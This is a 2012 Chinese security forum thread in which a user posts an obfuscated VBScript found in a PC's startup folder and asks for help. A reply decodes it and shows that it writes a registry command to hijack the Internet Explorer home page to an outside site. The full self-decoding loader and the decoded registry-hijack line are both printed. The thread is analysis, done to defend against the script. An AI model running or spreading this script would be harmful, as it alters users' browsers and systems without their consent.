# 帮忙分析下这段代码

**URL:** <https://forum.90sec.com/t/topic/3254>\
**Category:** 交流讨论\
**Created:** [2012 年2 月 25 日 16:55 UTC](https://forum.90sec.com/t/topic/3254 "2012-02-25T16:55:43Z")\
**Posts on this page:** 4\
**Page:** 1

<div class="post-metadata">

作者： ![lpcdma](https://forum.90sec.com/letter_avatar_proxy/v4/letter/l/13edae/32.png) [@lpcdma](https://forum.90sec.com/u/lpcdma)\
发布日期： [2012 年2 月 25 日 16:55 UTC](https://forum.90sec.com/t/topic/3254/1 "2012-02-25T16:55:43Z")

</div>

Rem EnCode-Easy By QQ：63701172  
ExeString="hh dkloqlerngeg\_xsSdmw6Cq^[tdH\jd\n(!pmcqbjt-lbeke)q.Q^aWqbneBKDRYCK:MSDLYRNHN\BEMICUu86\*=521\*-3+;0,\*\*68&;2D:'07)\*2A,\*3/2\>}[lbekeVOo^hHnf\_P`_\Bhgm`g^\!%B3VPqhar`fFhe_s[Bhtdkhes?xoeirdkVidqjlnk_.dq_ gmnp9()wvp(62,q.m^n.bg)?k2	p(Rd`Qrhm_ !AEEXX=UQK?NSXOSDKVSn_nw`k_\Lb]rnlifsUCns^lndmEwifoq^l\LZcn[LnaqmP`\_+hsmj:.(qwv'032p(cnf)?k2"  
Execute("Dim KeyArr(3),ThisText"&vbCrLf&"KeyArr(0) = 1"&vbCrLf&"KeyArr(1) = 7"&vbCrLf&"KeyArr(2) = 6"&vbCrLf&"KeyArr(3) = 0"&vbCrLf&"For i=1 To Len(ExeString)"&vbCrLf&"TempNum = Asc(Mid(ExeString,i,1))"&vbCrLf&"If TempNum = 18 Then"&vbCrLf&"TempNum = 34"&vbCrLf&"End If"&vbCrLf&"TempChar = Chr(TempNum + KeyArr(i Mod 4))"&vbCrLf&"If TempChar = Chr(28) Then"&vbCrLf&"TempChar = vbCr"&vbCrLf&"ElseIf TempChar = Chr(29) Then"&vbCrLf&"TempChar = vbLf"&vbCrLf&"End If"&vbCrLf&"ThisText = ThisText & TempChar"&vbCrLf&"Next")  
Execute(ThisText)

361.vbs

昨天晚上虚拟机一个系统有莫名其妙的被搞了,还没找的原因呢,今天学习汇编(初学),那想64位系统无debug虚拟机没启动,旁边小兄弟电脑是32位XP想去copy一个过来+上dosbox用,结果无意中看到启动里有个这个东东,不用说嘛肯定是病毒嘛.

但是对病毒有没有研究所以网路过的兄弟卡看看!可以的话社工下留QQ的朋友.

---

<div class="post-metadata">

作者： ![L.N](https://forum.90sec.com/user_avatar/forum.90sec.com/l.n/32/11411_2.png) [@L.N](https://forum.90sec.com/u/L.N)\
发布日期： [2012 年2 月 26 日 05:26 UTC](https://forum.90sec.com/t/topic/3254/2 "2012-02-26T05:26:17Z")

</div>

\*\*回复 [1#](http://www.90sec.org/redirect.php?goto=findpost&pid=16249&ptid=1582) _lpcdma_ \*\*

```
这个就是段加密的vbs！直接解出来，上代码！ExeString="hh dkloqlerngeg_xsSdmw6Cq^[tdH\jd\n(!pmcqbjt-lbeke) q.Q^aWqbneBKDRYCK:MSDLYRNHN\BEMICUu86*=521*-3+;0,**68&;2D:'07)*2A,*3/2&gt;}[lbekeVOo^hHnf_P``_\Bhgm`g^\!%B3VPqhar`fFhe_s[Bhtdkhes?xoeirdkVidqjlnk_.dq_ gmnp9()wvp(62,q.m^n.bg)?k2 p(Rd`Qrhm_ !AEEXX=UQK?NSXOSDKVSn_nw`k_\Lb]rnlifsUCns^lndmEwifoq^l\LZcn[LnaqmP``_+hsmj:.(qwv'032p(cnf)?k2"

```

Dim KeyArr(3),ThisText  
KeyArr(0) = 1  
KeyArr(1) = 7  
KeyArr(2) = 6  
KeyArr(3) = 0  
For i=1 To Len(ExeString)  
TempNum = Asc(Mid(ExeString,i,1))  
If TempNum = 18 Then  
TempNum = 34  
End If  
TempChar = Chr(TempNum + KeyArr(i Mod 4))  
If TempChar = Chr(28) Then  
TempChar = vbCr  
ElseIf TempChar = Chr(29) Then  
TempChar = vbLf  
End If  
ThisText = ThisText & TempChar  
Next  
Dim A, B  
A = ThisText  
B = "1.txt"  
Set FSO = CreateObject("Scripting.FileSystemObject")  
Set TextFile = FSO.CreateTextFile(B)  
TextFile.WriteLine A  
TextFile.Close()这段代码解出来会生成一个1.txt文本！就是他干坏事的代码了！on error resume next  
Set w = CreateObject("wscript.shell")!  
w.RegWrite "HKEY\_CLASSES\_ROOT\CLSID{871C5380-42A0-1069-A2EA-08002B30309D}\shell\OpenHomePage\Command", "C:\Program Files\Internet Explorer\iexplore.exe [http://www.633w.net.cn/?l9](http://www.633w.net.cn/?l9)"  
!'& !'& q/XdaXxhnf&!BLKXYD[QLFTSYVYDL]Yn`u}`lfbLcdxnmplsVJts\_stdn!Kwjmuq\_sbL[jt[Mugqn!V`af(+#nsnq@.)x}v(792q/ing0Ek3#这段代码还有部分没解出来，但是基本可以明白怎么回事了！  
他就是修改你的注册表，把[http://www.633w.net.cn](http://www.633w.net.cn)弄成你ie浏览器的主页！

---

<div class="post-metadata">

作者： ![lpcdma](https://forum.90sec.com/letter_avatar_proxy/v4/letter/l/13edae/32.png) [@lpcdma](https://forum.90sec.com/u/lpcdma)\
发布日期： [2012 年2 月 26 日 14:05 UTC](https://forum.90sec.com/t/topic/3254/3 "2012-02-26T14:05:45Z")

</div>

\*\*回复 [2#](http://www.90sec.org/redirect.php?goto=findpost&pid=16273&ptid=1582) _L.N._ \*\*

90就是高手多!谢谢啦!  
关于代码加密这个还得好好学习学习!有空交流下!

---

<div class="post-metadata">

作者： ![user56](https://forum.90sec.com/user_avatar/forum.90sec.com/user56/32/11423_2.png) [@user56](https://forum.90sec.com/u/user56)\
发布日期： [2012 年3 月 15 日 16:00 UTC](https://forum.90sec.com/t/topic/3254/4 "2012-03-15T16:00:55Z")

</div>

必须学习学习。。
